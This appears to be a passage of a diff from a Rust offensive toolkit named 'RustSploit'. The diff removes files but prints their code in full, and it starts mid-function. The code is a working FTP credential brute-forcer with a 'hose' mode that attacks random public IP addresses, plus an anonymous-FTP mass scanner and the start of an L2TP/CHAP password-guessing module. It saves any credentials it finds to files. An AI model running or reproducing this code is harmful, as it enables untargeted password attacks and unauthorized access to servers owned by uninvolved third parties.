sc.fetch_add(1, Ordering::Relaxed);
drop(permit);
});
} else {
drop(permit);
}
}
for _ in 0..concurrency {
let _ = semaphore.acquire().await.context("Semaphore acquisition failed")?;
}
}
Ok(())
}
async fn mass_scan_host(
ip: IpAddr,
stats_found: Arc<AtomicUsize>,
output_file: String,
) {
let sa = SocketAddr::new(ip, 21);
// 1. Connection Check
if timeout(Duration::from_millis(CONNECT_TIMEOUT_MS), TcpStream::connect(&sa)).await.is_err() {
return;
}
// 2. FTP Login (Plain only for speed/mass scan)
let addr_str = format!("{}:21", ip);
match timeout(Duration::from_millis(5000), AsyncFtpStream::connect(&addr_str)).await {
Ok(Ok(mut ftp)) => {
let result = ftp.login("anonymous", "anonymous").await;
if result.is_ok() {
// LOGIN OK - Now VERIFY command capability
// We use LIST (None implies current directory)
// We set a short timeout for list because sometimes passive mode hangs on bad NATs
match timeout(Duration::from_secs(5), ftp.list(None)).await {
Ok(Ok(_)) => {
// Success: Login + List
// Format: IP:PORT:USER:PASS
let msg = format!("{}:21:anonymous:anonymous", ip);
println!("\r{}", format!("[+] FOUND: {}", msg).green().bold());
if let Ok(mut file) = OpenOptions::new().create(true).append(true).open(&output_file).await {
let _ = file.write_all(format!("{}\n", msg).as_bytes()).await;
}
stats_found.fetch_add(1, Ordering::Relaxed);
}
Ok(Err(_)) => {
// Login ok, List failed (550 or similar)
}
Err(_) => {
// List timed out (PASV issue?)
}
}
let _ = ftp.quit().await;
}
}
_ => {}
}
}
fn generate_random_public_ip(exclusions: &[ipnetwork::IpNetwork]) -> IpAddr {
let mut rng = rand::rng();
loop {
let octets: [u8; 4] = rng.random();
let ip = Ipv4Addr::from(octets);
let ip_addr = IpAddr::V4(ip);
let mut excluded = false;
for net in exclusions {
if net.contains(ip_addr) {
excluded = true;
break;
}
}
if !excluded {
return ip_addr;
}
}
}
async fn is_ip_checked(ip: &impl ToString) -> bool {
if !std::path::Path::new(STATE_FILE).exists() {
return false;
}
let ip_s = ip.to_string();
let status = Command::new("grep")
.arg("-F")
.arg("-q")
.arg(format!("checked: {}", ip_s))
.arg(STATE_FILE)
.stderr(std::process::Stdio::null()) // Suppress stderr just in case
.status()
.await;
match status {
Ok(s) => s.success(),
Err(_) => false,
}
}
async fn mark_ip_checked(ip: &impl ToString) {
let data = format!("checked: {}\n", ip.to_string());
if let Ok(mut file) = OpenOptions::new()
.create(true)
.append(true)
.open(STATE_FILE)
.await
{
let _ = file.write_all(data.as_bytes()).await;
}
}
-660
View File
@@ -1,660 +0,0 @@
use anyhow::{anyhow, Result, Context};
use colored::*;
use suppaftp::tokio::{AsyncFtpStream, AsyncNativeTlsConnector, AsyncNativeTlsFtpStream};
use suppaftp::async_native_tls::TlsConnector;
use std::{
fs::File,
io::Write,
sync::Arc,
time::Duration,
net::{IpAddr, Ipv4Addr, SocketAddr},
};
use std::sync::atomic::{AtomicBool, AtomicUsize, Ordering};
use tokio::{
sync::{Mutex, Semaphore},
time::{sleep, timeout},
process::Command,
fs::OpenOptions,
io::AsyncWriteExt,
net::TcpStream,
};
use futures::stream::{FuturesUnordered, StreamExt};
use rand::Rng;
use crate::utils::{
prompt_required, prompt_default, prompt_yes_no,
prompt_int_range, prompt_existing_file, prompt_port,
load_lines, get_filename_in_current_dir
};
use crate::modules::creds::utils::BruteforceStats;
const PROGRESS_INTERVAL_SECS: u64 = 2;
const DEFAULT_TIMEOUT_SECS: u64 = 10;
const MASS_SCAN_CONNECT_TIMEOUT_MS: u64 = 3000;
const STATE_FILE: &str = "ftp_brute_hose_state.log";
// Hardcoded exclusions
const EXCLUDED_RANGES: &[&str] = &[
"10.0.0.0/8", "127.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16",
"224.0.0.0/4", "240.0.0.0/4", "0.0.0.0/8",
"100.64.0.0/10", "169.254.0.0/16", "255.255.255.255/32",
"103.21.244.0/22", "103.22.200.0/22", "103.31.4.0/22", "104.16.0.0/13",
"104.24.0.0/14", "108.162.192.0/18", "131.0.72.0/22", "141.101.64.0/18",
"162.158.0.0/15", "172.64.0.0/13", "173.245.48.0/20", "188.114.96.0/20",
"190.93.240.0/20", "197.234.240.0/22", "198.41.128.0/17",
"1.1.1.1/32", "1.0.0.1/32",
"8.8.8.8/32", "8.8.4.4/32"
];
/// FTP error classification for better handling
#[derive(Debug, Clone, Copy)]
enum FtpErrorType {
AuthenticationFailed,
TlsRequired,
ConnectionLimitExceeded,
ConnectionFailed,
Unknown,
}
impl FtpErrorType {
/// Classify FTP error based on response message
fn classify_error(msg: &str) -> Self {
let msg_lower = msg.to_lowercase();
// Authentication failed
if msg.contains("530") || msg_lower.contains("login incorrect") ||
msg_lower.contains("user") && msg_lower.contains("cannot") ||
msg_lower.contains("password") && msg_lower.contains("incorrect") {
return Self::AuthenticationFailed;
}
// TLS required
if msg.contains("550 SSL") || msg_lower.contains("tls required") ||
msg_lower.contains("ssl connection required") ||
msg.contains("220 TLS go first") ||
msg_lower.contains("must use tls") {
return Self::TlsRequired;
}
// Connection limit exceeded
if msg.contains("421") || msg_lower.contains("too many") ||
msg_lower.contains("connection limit") {
return Self::ConnectionLimitExceeded;
}
// Connection failed
if msg_lower.contains("connection refused") ||
msg_lower.contains("no route to host") ||
msg_lower.contains("network unreachable") ||
msg_lower.contains("connection reset") {
return Self::ConnectionFailed;
}
Self::Unknown
}
}
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ FTP Brute Force Module ║".cyan());
println!("{}", "║ Supports IPv4/IPv6 & Mass Scanning (Hose Mode) ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
println!();
}
/// Format IPv4 or IPv6 addresses with port for display
fn format_addr_for_display(target: &str, port: u16) -> String {
if target.starts_with('[') && target.contains("]:") {
target.to_string()
} else if target.matches(':').count() == 1 && !target.contains('[') {
target.to_string()
} else {
let clean_target = if target.starts_with('[') && target.ends_with(']') {
&target[1..target.len() - 1]
} else {
target
};
if clean_target.contains(':') {
format!("[{}]:{}", clean_target, port)
} else {
format!("{}:{}", clean_target, port)
}
}
}
pub async fn run(target: &str) -> Result<()> {
display_banner();
// Check for Mass Scan Mode
let is_mass_scan = target == "random" || target == "0.0.0.0" || target == "0.0.0.0/0" || std::path::Path::new(target).is_file();
if is_mass_scan {
println!("{}", format!("[*] Target: {}", target).cyan());
println!("{}", "[*] Mode: Mass Scan / Hose".yellow());
return run_mass_scan(target).await;
}
println!("{}", format!("[*] Target: {}", target).cyan());
// --- Standard Single Target Logic ---
let port: u16 = prompt_port("FTP Port", 21)?;
let usernames_file = prompt_required("Username wordlist")?;
let passwords_file = prompt_required("Password wordlist")?;
let concurrency: usize = loop {
let input = prompt_default("Max concurrent tasks", "500")?;
if let Ok(n) = input.parse::<usize>() {
if n > 0 { break n }
}
println!("Invalid number. Try again.");
};
// Create a semaphore to limit concurrent network operations
let semaphore = Arc::new(Semaphore::new(concurrency));
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
let save_results = prompt_yes_no("Save results to file?", true)?;
let save_path = if save_results {
Some(prompt_default("Output file", "ftp_results.txt")?)
} else {
None
};
let verbose = prompt_yes_no("Verbose mode?", false)?;
let combo_mode = prompt_yes_no("Combination mode (user × pass)?", false)?;
let display_addr = format_addr_for_display(target, port);
let connect_addr = format_addr_for_display(target, port);
let found = Arc::new(Mutex::new(Vec::new()));
let unknown = Arc::new(Mutex::new(Vec::<(String, String, String, String)>::new()));
let stop = Arc::new(AtomicBool::new(false));
let stats = Arc::new(BruteforceStats::new());
println!("\n[*] Starting brute-force on {}", display_addr);
let users = load_lines(&usernames_file)?;
if users.is_empty() {
println!("[!] Username wordlist is empty or invalid. Exiting.");
return Ok(());
}
println!("{}", format!("[*] Loaded {} usernames", users.len()).cyan());
let passes = load_lines(&passwords_file)?;
if passes.is_empty() {
println!("[!] Password wordlist is empty or invalid. Exiting.");
return Ok(());
}
println!("{}", format!("[*] Loaded {} passwords", passes.len()).cyan());
let total_attempts = if combo_mode { users.len() * passes.len() } else { passes.len() };
println!("{}", format!("[*] Total attempts: {}", total_attempts).cyan());
println!();
// Start progress reporter
let stats_clone = stats.clone();
let stop_clone = stop.clone();
let progress_handle = tokio::spawn(async move {
loop {
if stop_clone.load(Ordering::Relaxed) {
break;
}
stats_clone.print_progress();
sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await;
}
});
let mut tasks = FuturesUnordered::new();
if combo_mode {
for user in &users {
if stop_on_success && stop.load(Ordering::Relaxed) { break; }
for pass in &passes {
if stop_on_success && stop.load(Ordering::Relaxed) { break; }
let addr_clone = connect_addr.clone();
let target_clone = target.to_string();
let display_addr_clone = display_addr.clone();
let user_clone = user.clone();
let pass_clone = pass.clone();
let found_clone = Arc::clone(&found);
let unknown_clone = Arc::clone(&unknown);
let stop_clone = Arc::clone(&stop);
let semaphore_clone = Arc::clone(&semaphore);
let stats_clone = Arc::clone(&stats);
let verbose_flag = verbose;
let stop_on_success_flag = stop_on_success;
tasks.push(tokio::spawn(async move {
if stop_on_success_flag && stop_clone.load(Ordering::Relaxed) {
return;
}
let permit = match semaphore_clone.acquire_owned().await {
Ok(permit) => permit,
Err(_) => return,
};
if stop_on_success_flag && stop_clone.load(Ordering::Relaxed) {
return;
}
match try_ftp_login(&addr_clone, &target_clone, &user_clone, &pass_clone, verbose_flag).await {
Ok(true) => {
println!("\r{}", format!("[+] {} -> {}:{}", display_addr_clone, user_clone, pass_clone).green().bold());
found_clone.lock().await.push((display_addr_clone.clone(), user_clone.clone(), pass_clone.clone()));
stats_clone.record_attempt(true, false);
if stop_on_success_flag {
stop_clone.store(true, Ordering::Relaxed);
}
}
Ok(false) => {
stats_clone.record_attempt(false, false);
if verbose_flag {
println!("\r{}", format!("[-] {} -> {}:{}", display_addr_clone, user_clone, pass_clone).dimmed());
}
}
Err(e) => {
stats_clone.record_attempt(false, true);
let msg = e.to_string();
{
let mut _unknown_clone = unknown_clone.lock().await;
_unknown_clone.push((
display_addr_clone.clone(),
user_clone.clone(),
pass_clone.clone(),
msg.clone(),
));
}
if verbose_flag {
println!("\r{}", format!("[?] {} -> {}:{} error/unknown: {}", display_addr_clone, user_clone, pass_clone, msg).yellow());
}
}
}
drop(permit);
}));
}
}
} else {
if !users.is_empty() {
for (i, pass) in passes.iter().enumerate() {
if stop_on_success && stop.load(Ordering::Relaxed) { break; }
let user = users.get(i % users.len()).expect("User list modulus logic error").clone();
let addr_clone = connect_addr.clone();
let target_clone = target.to_string();
let display_addr_clone = display_addr.clone();
let pass_clone = pass.clone();
let found_clone = Arc::clone(&found);
let unknown_clone = Arc::clone(&unknown);
let stop_clone = Arc::clone(&stop);
let semaphore_clone = Arc::clone(&semaphore);
let stats_clone = Arc::clone(&stats);
let verbose_flag = verbose;
let stop_on_success_flag = stop_on_success;
tasks.push(tokio::spawn(async move {
if stop_on_success_flag && stop_clone.load(Ordering::Relaxed) {
return;
}
let permit = match semaphore_clone.acquire_owned().await {
Ok(permit) => permit,
Err(_) => return,
};
if stop_on_success_flag && stop_clone.load(Ordering::Relaxed) {
return;
}
match try_ftp_login(&addr_clone, &target_clone, &user, &pass_clone, verbose_flag).await {
Ok(true) => {
println!("\r{}", format!("[+] {} -> {}:{}", display_addr_clone, user, pass_clone).green().bold());
found_clone.lock().await.push((display_addr_clone.clone(), user.clone(), pass_clone.clone()));
stats_clone.record_attempt(true, false);
if stop_on_success_flag {
stop_clone.store(true, Ordering::Relaxed);
}
}
Ok(false) => {
stats_clone.record_attempt(false, false);
if verbose_flag {
println!("\r{}", format!("[-] {} -> {}:{}", display_addr_clone, user, pass_clone).dimmed());
}
}
Err(e) => {
stats_clone.record_attempt(false, true);
let msg = e.to_string();
{
let mut unk = unknown_clone.lock().await;
unk.push((
display_addr_clone.clone(),
user.clone(),
pass_clone.clone(),
msg.clone(),
));
}
if verbose_flag {
println!("\r{}", format!("[!] Error: {}", e).yellow());
}
}
}
drop(permit);
}));
}
}
}
while let Some(res) = tasks.next().await {
if let Err(e) = res {
if verbose {
println!("\r{}", format!("[!] Task error: {}", e).red());
}
}
}
// Stop progress reporter
stop.store(true, Ordering::Relaxed);
let _ = progress_handle.await;
// Print final statistics
stats.print_final().await;
let creds = found.lock().await;
if creds.is_empty() {
println!("{}", "[-] No credentials found.".yellow());
} else {
println!("{}", format!("[+] Found {} valid credential(s):", creds.len()).green().bold());
for (host, user, pass) in creds.iter() {
println!(" {} {}:{}:{}", "".green(), host, user, pass);
}
if let Some(path) = save_path {
let file_path = get_filename_in_current_dir(&path);
match File::create(&file_path) {
Ok(mut file) => {
for (host, user, pass) in creds.iter() {
// Standardized format: IP:PORT:USER:PASS
// host should already include IP:PORT based on `display_addr` formatting earlier
// But wait, `display_addr` is `[IP]:Port` or `IP:Port`
// We want strictly `IP:PORT:USER:PASS`
if writeln!(file, "{}:{}:{}", host, user, pass).is_err() {
break;
}
}
println!("[+] Results saved to '{}'", file_path.display());
}
Err(e) => {
eprintln!("[!] Could not create or write to result file '{}': {}", file_path.display(), e);
}
}
}
}
Ok(())
}
async fn run_mass_scan(target: &str) -> Result<()> {
// Prep
let port: u16 = prompt_port("FTP Port", 21)?;
let usernames_file = prompt_existing_file("Username wordlist")?;
let passwords_file = prompt_existing_file("Password wordlist")?;
let users = load_lines(&usernames_file)?;
let pass_lines = load_lines(&passwords_file)?;
if users.is_empty() { return Err(anyhow!("User list empty")); }
if pass_lines.is_empty() { return Err(anyhow!("Pass list empty")); }
let concurrency = prompt_int_range("Max concurrent hosts to scan", 500, 1, 10000)? as usize;
let verbose = prompt_yes_no("Verbose mode?", false)?;
let output_file = prompt_default("Output result file", "ftp_brute_mass_results.txt")?;
// Parse exclusions
let mut exclusion_subnets = Vec::new();
for cidr in EXCLUDED_RANGES {
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
exclusion_subnets.push(net);
}
}
let exclusions = Arc::new(exclusion_subnets);
let semaphore = Arc::new(Semaphore::new(concurrency));
let stats_checked = Arc::new(AtomicUsize::new(0));
let stats_found = Arc::new(AtomicUsize::new(0));
let creds_pkg = Arc::new((users, pass_lines));
// Stats
let s_checked = stats_checked.clone();
let s_found = stats_found.clone();
tokio::spawn(async move {
loop {
tokio::time::sleep(Duration::from_secs(5)).await;
println!(
"[*] Status: {} IPs scanned, {} valid credentials found",
s_checked.load(Ordering::Relaxed),
s_found.load(Ordering::Relaxed).to_string().green().bold()
);
}
});
let run_random = target == "random" || target == "0.0.0.0" || target == "0.0.0.0/0";
if run_random {
// Initialize state file
OpenOptions::new().create(true).write(true).open(STATE_FILE).await?;
println!("{}", "[*] Starting Random Internet Scan...".green());
loop {
let permit = semaphore.clone().acquire_owned().await.context("Semaphore acquisition failed")?;
let exc = exclusions.clone();
let cp = creds_pkg.clone();
let sc = stats_checked.clone();
let sf = stats_found.clone();
let of = output_file.clone();
tokio::spawn(async move {
let ip = generate_random_public_ip(&exc);
if !is_ip_checked(&ip).await {
mark_ip_checked(&ip).await;
mass_scan_host(ip, port, cp, sf, of, verbose).await;
}
sc.fetch_add(1, Ordering::Relaxed);
drop(permit);
});
}
} else {
// File Mode
let content = tokio::fs::read_to_string(target).await.unwrap_or_default();
let lines: Vec<String> = content.lines().map(|s| s.trim().to_string()).filter(|s| !s.is_empty()).collect();
println!("{}", format!("[*] Loaded {} targets from file.", lines.len()).blue());
for ip_str in lines {
let permit = semaphore.clone().acquire_owned().await.context("Semaphore acquisition failed")?;
let cp = creds_pkg.clone();
let sc = stats_checked.clone();
let sf = stats_found.clone();
let of = output_file.clone();
if let Ok(ip) = ip_str.parse::<IpAddr>() {
tokio::spawn(async move {
if !is_ip_checked(&ip).await {
mark_ip_checked(&ip).await;
mass_scan_host(ip, port, cp, sf, of, verbose).await;
}
sc.fetch_add(1, Ordering::Relaxed);
drop(permit);
});
} else {
drop(permit);
}
}
for _ in 0..concurrency {
let _ = semaphore.acquire().await.context("Semaphore acquisition failed")?;
}
}
Ok(())
}
async fn mass_scan_host(
ip: IpAddr,
port: u16,
creds: Arc<(Vec<String>, Vec<String>)>,
stats_found: Arc<AtomicUsize>,
output_file: String,
verbose: bool
) {
let sa = SocketAddr::new(ip, port);
// 1. Connection Check
if timeout(Duration::from_millis(MASS_SCAN_CONNECT_TIMEOUT_MS), TcpStream::connect(&sa)).await.is_err() {
return;
}
let (users, passes) = &*creds;
// 2. Iterative Bruteforce
// Sequential try to avoid blasting the server
let addr_str = format!("{}:{}", ip, port);
for user in users {
for pass in passes {
let res = try_ftp_login(&addr_str, &ip.to_string(), user, pass, verbose).await;
match res {
Ok(true) => {
// Format: IP:PORT:USER:PASS
let msg = format!("{}:{}:{}:{}", ip, port, user, pass);
println!("\r{}", format!("[+] FOUND: {}", msg).green().bold());
if let Ok(mut file) = OpenOptions::new().create(true).append(true).open(&output_file).await {
let _ = file.write_all(format!("{}\n", msg).as_bytes()).await;
}
stats_found.fetch_add(1, Ordering::Relaxed);
return; // Stop after first success
}
Ok(false) => { // Auth failed
}
Err(e) => {
// If conn refused/timeout, likely dead or blocked, abort this host
let err = e.to_string().to_lowercase();
if err.contains("refused") || err.contains("timeout") || err.contains("reset") {
return;
}
}
}
}
}
}
/// Try login using address string and fallback to FTPS if needed
async fn try_ftp_login(addr: &str, target: &str, user: &str, pass: &str, verbose: bool) -> Result<bool> {
// Attempt 1: Plain FTP
if verbose {
//println!("[i] Connecting to {} (plain FTP)", addr);
}
match timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS), AsyncFtpStream::connect(addr)).await {
Ok(Ok(mut ftp)) => {
match ftp.login(user, pass).await {
Ok(_) => {
let _ = ftp.quit().await;
return Ok(true);
}
Err(e) => {
let msg = e.to_string();
match FtpErrorType::classify_error(&msg) {
FtpErrorType::AuthenticationFailed => {
return Ok(false);
}
FtpErrorType::TlsRequired => {
// Proceed to FTPS attempt
}
FtpErrorType::ConnectionLimitExceeded => {
sleep(Duration::from_secs(1)).await;
return Ok(false); // Treat as soft fail
}
_ => {
return Err(anyhow!("FTP login error: {}", msg));
}
}
}
}
}
Ok(Err(e)) => {
// Connection level error
return Err(e.into());
}
Err(_) => {
return Err(anyhow!("Timeout"));
}
}
// FTPS fallback logic (retained but lightweight for mass scan? maybe skip for mass scan unless configured?)
// For now, reuse it as it makes the check robust.
// FTPS attempts ... (simulated reuse of original logic below)
let mut ftp_tls = match timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS), AsyncNativeTlsFtpStream::connect(addr)).await {
Ok(Ok(s)) => s,
_ => return Err(anyhow!("FTPS Connect failed")),
};
let connector = AsyncNativeTlsConnector::from(
TlsConnector::new()
.danger_accept_invalid_certs(true)
.danger_accept_invalid_hostnames(true),
);
let domain = target.trim_start_matches('[').split(&[']', ':'][..]).next().unwrap_or(target);
ftp_tls = match ftp_tls.into_secure(connector, domain).await {
Ok(s) => s,
Err(e) => return Err(anyhow!("TLS Upgrade: {}", e)),
};
match ftp_tls.login(user, pass).await {
Ok(_) => {
let _ = ftp_tls.quit().await;
Ok(true)
}
Err(e) => {
match FtpErrorType::classify_error(&e.to_string()) {
FtpErrorType::AuthenticationFailed => Ok(false),
_ => Err(anyhow!("FTPS Error: {}", e)),
}
}
}
}
fn generate_random_public_ip(exclusions: &[ipnetwork::IpNetwork]) -> IpAddr {
let mut rng = rand::rng();
loop {
let octets: [u8; 4] = rng.random();
let ip = Ipv4Addr::from(octets);
let ip_addr = IpAddr::V4(ip);
let mut excluded = false;
for net in exclusions {
if net.contains(ip_addr) {
excluded = true;
break;
}
}
if !excluded { return ip_addr; }
}
}
async fn is_ip_checked(ip: &impl ToString) -> bool {
if !std::path::Path::new(STATE_FILE).exists() {
return false;
}
let ip_s = ip.to_string();
let status = Command::new("grep")
.arg("-F")
.arg("-q")
.arg(format!("checked: {}", ip_s))
.arg(STATE_FILE)
.stderr(std::process::Stdio::null())
.status()
.await;
match status { Ok(s) => s.success(), Err(_) => false }
}
async fn mark_ip_checked(ip: &impl ToString) {
let data = format!("checked: {}\n", ip.to_string());
if let Ok(mut file) = OpenOptions::new().create(true).append(true).open(STATE_FILE).await {
let _ = file.write_all(data.as_bytes()).await;
}
}
@@ -1,623 +0,0 @@
use anyhow::{anyhow, Result};
use colored::*;
use futures::stream::{FuturesUnordered, StreamExt};
use std::{
fs::File,
io::Write,
net::UdpSocket,
sync::Arc,
sync::atomic::{AtomicBool, Ordering},
time::Duration,
};
use tokio::sync::{Mutex, Semaphore};
use tokio::time::sleep;
use crate::utils::{
prompt_yes_no, prompt_existing_file, prompt_default, prompt_int_range,
load_lines, normalize_target, get_filename_in_current_dir, prompt_port,
};
use crate::modules::creds::utils::BruteforceStats;
const PROGRESS_INTERVAL_SECS: u64 = 2;
const DEFAULT_TIMEOUT_MS: u64 = 5000;
// L2TP Message Types
const L2TP_SCCRQ: u16 = 1; // Start-Control-Connection-Request
const L2TP_SCCRP: u16 = 2; // Start-Control-Connection-Reply
const L2TP_SCCCN: u16 = 3; // Start-Control-Connection-Connected
const L2TP_ICRQ: u16 = 10; // Incoming-Call-Request
const L2TP_ICRP: u16 = 11; // Incoming-Call-Reply
const L2TP_ICCN: u16 = 12; // Incoming-Call-Connected
// PPP Protocol IDs
const PPP_CHAP: u16 = 0xC223;
// CHAP Codes
const CHAP_CHALLENGE: u8 = 1;
const CHAP_RESPONSE: u8 = 2;
const CHAP_SUCCESS: u8 = 3;
const CHAP_FAILURE: u8 = 4;
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ L2TP/PPP Brute Force Module ║".cyan());
println!("{}", "║ Native L2TP/CHAP Implementation ║".cyan());
println!("{}", "║ Tests against L2TP servers using CHAP authentication ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
println!();
}
/// L2TP Session state
struct L2tpSession {
sock: UdpSocket,
local_tunnel_id: u16,
remote_tunnel_id: u16,
local_session_id: u16,
remote_session_id: u16,
ns: u16, // Next sequence to send
nr: u16, // Next sequence expected
}
impl L2tpSession {
fn new(sock: UdpSocket) -> Self {
Self {
sock,
local_tunnel_id: rand::random::<u16>() | 1,
remote_tunnel_id: 0,
local_session_id: rand::random::<u16>() | 1,
remote_session_id: 0,
ns: 0,
nr: 0,
}
}
/// Build L2TP control message
fn build_control(&mut self, avps: &[u8]) -> Vec<u8> {
// Flags: T=1 (control), L=1 (length), S=1 (sequence)
let flags: u16 = 0xC802;
let length = 12 + avps.len() as u16;
let mut pkt = Vec::with_capacity(length as usize);
pkt.extend_from_slice(&flags.to_be_bytes());
pkt.extend_from_slice(&length.to_be_bytes());
pkt.extend_from_slice(&self.remote_tunnel_id.to_be_bytes());
pkt.extend_from_slice(&0u16.to_be_bytes()); // Session 0 for control
pkt.extend_from_slice(&self.ns.to_be_bytes());
pkt.extend_from_slice(&self.nr.to_be_bytes());
pkt.extend_from_slice(avps);
self.ns = self.ns.wrapping_add(1);
pkt
}
/// Build L2TP data message
fn build_data(&self, payload: &[u8]) -> Vec<u8> {
let flags: u16 = 0x0002; // Data message
let mut pkt = Vec::with_capacity(6 + payload.len());
pkt.extend_from_slice(&flags.to_be_bytes());
pkt.extend_from_slice(&self.remote_tunnel_id.to_be_bytes());
pkt.extend_from_slice(&self.remote_session_id.to_be_bytes());
pkt.extend_from_slice(payload);
pkt
}
/// Build AVP (Attribute-Value Pair)
fn build_avp(attr_type: u16, value: &[u8], mandatory: bool) -> Vec<u8> {
let flags = if mandatory { 0x8000 } else { 0 } | (6 + value.len() as u16);
let mut avp = Vec::with_capacity(6 + value.len());
avp.extend_from_slice(&flags.to_be_bytes());
avp.extend_from_slice(&0u16.to_be_bytes()); // Vendor ID = 0
avp.extend_from_slice(&attr_type.to_be_bytes());
avp.extend_from_slice(value);
avp
}
/// Send SCCRQ (Start-Control-Connection-Request)
fn send_sccrq(&mut self) -> Result<()> {
let mut avps = Vec::new();
// Message Type = SCCRQ
avps.extend(Self::build_avp(0, &L2TP_SCCRQ.to_be_bytes(), true));
// Protocol Version = 1.0
avps.extend(Self::build_avp(2, &[0x01, 0x00], true));
// Host Name
avps.extend(Self::build_avp(3, b"RustSploit-L2TP", true));
// Assigned Tunnel ID
avps.extend(Self::build_avp(9, &self.local_tunnel_id.to_be_bytes(), true));
// Receive Window Size
avps.extend(Self::build_avp(10, &1500u16.to_be_bytes(), true));
let pkt = self.build_control(&avps);
self.sock.send(&pkt)?;
Ok(())
}
/// Send SCCCN (Start-Control-Connection-Connected)
fn send_scccn(&mut self) -> Result<()> {
let mut avps = Vec::new();
avps.extend(Self::build_avp(0, &L2TP_SCCCN.to_be_bytes(), true));
let pkt = self.build_control(&avps);
self.sock.send(&pkt)?;
Ok(())
}
/// Send ICRQ (Incoming-Call-Request)
fn send_icrq(&mut self) -> Result<()> {
let mut avps = Vec::new();
avps.extend(Self::build_avp(0, &L2TP_ICRQ.to_be_bytes(), true));
avps.extend(Self::build_avp(14, &self.local_session_id.to_be_bytes(), true));
avps.extend(Self::build_avp(15, &rand::random::<u32>().to_be_bytes(), true)); // Call Serial Number
let pkt = self.build_control(&avps);
self.sock.send(&pkt)?;
Ok(())
}
/// Send ICCN (Incoming-Call-Connected)
fn send_iccn(&mut self) -> Result<()> {
let mut avps = Vec::new();
avps.extend(Self::build_avp(0, &L2TP_ICCN.to_be_bytes(), true));
avps.extend(Self::build_avp(24, &1000000u32.to_be_bytes(), true)); // Tx Connect Speed
avps.extend(Self::build_avp(19, &0u32.to_be_bytes(), true)); // Framing Type
let pkt = self.build_control(&avps);
self.sock.send(&pkt)?;
Ok(())
}
/// Send CHAP Response
fn send_chap_response(&self, identifier: u8, challenge: &[u8], username: &str, password: &str) -> Result<()> {
// Compute CHAP hash: MD5(identifier + password + challenge)
let mut data = Vec::with_capacity(1 + password.len() + challenge.len());
data.push(identifier);
data.extend_from_slice(password.as_bytes());
data.extend_from_slice(challenge);
let hash = md5::compute(&data);
// Build CHAP Response packet
let name_bytes = username.as_bytes();
let length: u16 = 4 + 1 + 16 + name_bytes.len() as u16;
let mut chap = Vec::new();
chap.push(CHAP_RESPONSE);
chap.push(identifier);
chap.extend_from_slice(&length.to_be_bytes());
chap.push(16); // Value size (MD5 = 16 bytes)
chap.extend_from_slice(&hash.0);
chap.extend_from_slice(name_bytes);
// Wrap in PPP frame
let mut ppp = Vec::new();
ppp.extend_from_slice(&[0xFF, 0x03]); // Address + Control
ppp.extend_from_slice(&PPP_CHAP.to_be_bytes());
ppp.extend_from_slice(&chap);
let pkt = self.build_data(&ppp);
self.sock.send(&pkt)?;
Ok(())
}
/// Receive and parse L2TP packet
fn recv_packet(&self, timeout: Duration) -> Result<L2tpPacket> {
self.sock.set_read_timeout(Some(timeout))?;
let mut buf = [0u8; 4096];
let n = self.sock.recv(&mut buf)?;
if n < 6 {
return Err(anyhow!("Packet too short"));
}
let flags = u16::from_be_bytes([buf[0], buf[1]]);
let is_control = (flags & 0x8000) != 0;
let has_length = (flags & 0x4000) != 0;
let has_sequence = (flags & 0x0800) != 0;
let mut offset = 2;
if has_length {
offset += 2;
}
let tunnel_id = u16::from_be_bytes([buf[offset], buf[offset + 1]]);
offset += 2;
let session_id = u16::from_be_bytes([buf[offset], buf[offset + 1]]);
offset += 2;
if has_sequence {
offset += 4; // Ns + Nr
}
let payload = buf[offset..n].to_vec();
Ok(L2tpPacket {
is_control,
tunnel_id,
session_id,
payload,
})
}
/// Parse control message type from AVPs
fn parse_message_type(payload: &[u8]) -> Option<u16> {
let mut offset = 0;
while offset + 6 <= payload.len() {
let avp_flags = u16::from_be_bytes([payload[offset], payload[offset + 1]]);
let avp_len = (avp_flags & 0x03FF) as usize;
if offset + avp_len > payload.len() {
break;
}
let vendor_id = u16::from_be_bytes([payload[offset + 2], payload[offset + 3]]);
let attr_type = u16::from_be_bytes([payload[offset + 4], payload[offset + 5]]);
if vendor_id == 0 && attr_type == 0 && avp_len >= 8 {
return Some(u16::from_be_bytes([payload[offset + 6], payload[offset + 7]]));
}
offset += avp_len;
}
None
}
/// Parse assigned tunnel/session ID from AVPs
fn parse_assigned_id(payload: &[u8], attr_type: u16) -> Option<u16> {
let mut offset = 0;
while offset + 6 <= payload.len() {
let avp_flags = u16::from_be_bytes([payload[offset], payload[offset + 1]]);
let avp_len = (avp_flags & 0x03FF) as usize;
if offset + avp_len > payload.len() {
break;
}
let vendor_id = u16::from_be_bytes([payload[offset + 2], payload[offset + 3]]);
let avp_type = u16::from_be_bytes([payload[offset + 4], payload[offset + 5]]);
if vendor_id == 0 && avp_type == attr_type && avp_len >= 8 {
return Some(u16::from_be_bytes([payload[offset + 6], payload[offset + 7]]));
}
offset += avp_len;
}
None
}
}
#[allow(dead_code)]
struct L2tpPacket {
is_control: bool,
tunnel_id: u16,
session_id: u16,
payload: Vec<u8>,
}
/// Main L2TP bruteforce entry point
pub async fn run(target: &str) -> Result<()> {
display_banner();
println!("{}", format!("[*] Target: {}", target).cyan());
let normalized = normalize_target(target)?;
let port: u16 = prompt_port("L2TP Port", 1701)?;
let usernames_file = prompt_existing_file("Username wordlist")?;
let passwords_file = prompt_existing_file("Password wordlist")?;
let concurrency = prompt_int_range("Max concurrent tasks", 10, 1, 100)? as usize;
let timeout_ms = prompt_int_range("Connection timeout (ms)", DEFAULT_TIMEOUT_MS as i64, 100, 30000)? as u64;
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
let save_results = prompt_yes_no("Save results to file?", true)?;
let save_path = if save_results {
Some(prompt_default("Output file name", "l2tp_results.txt")?)
} else {
None
};
let verbose = prompt_yes_no("Verbose mode?", false)?;
let combo_mode = prompt_yes_no("Combination mode? (try every password with every user)", false)?;
let addr = format!("{}:{}", normalized, port);
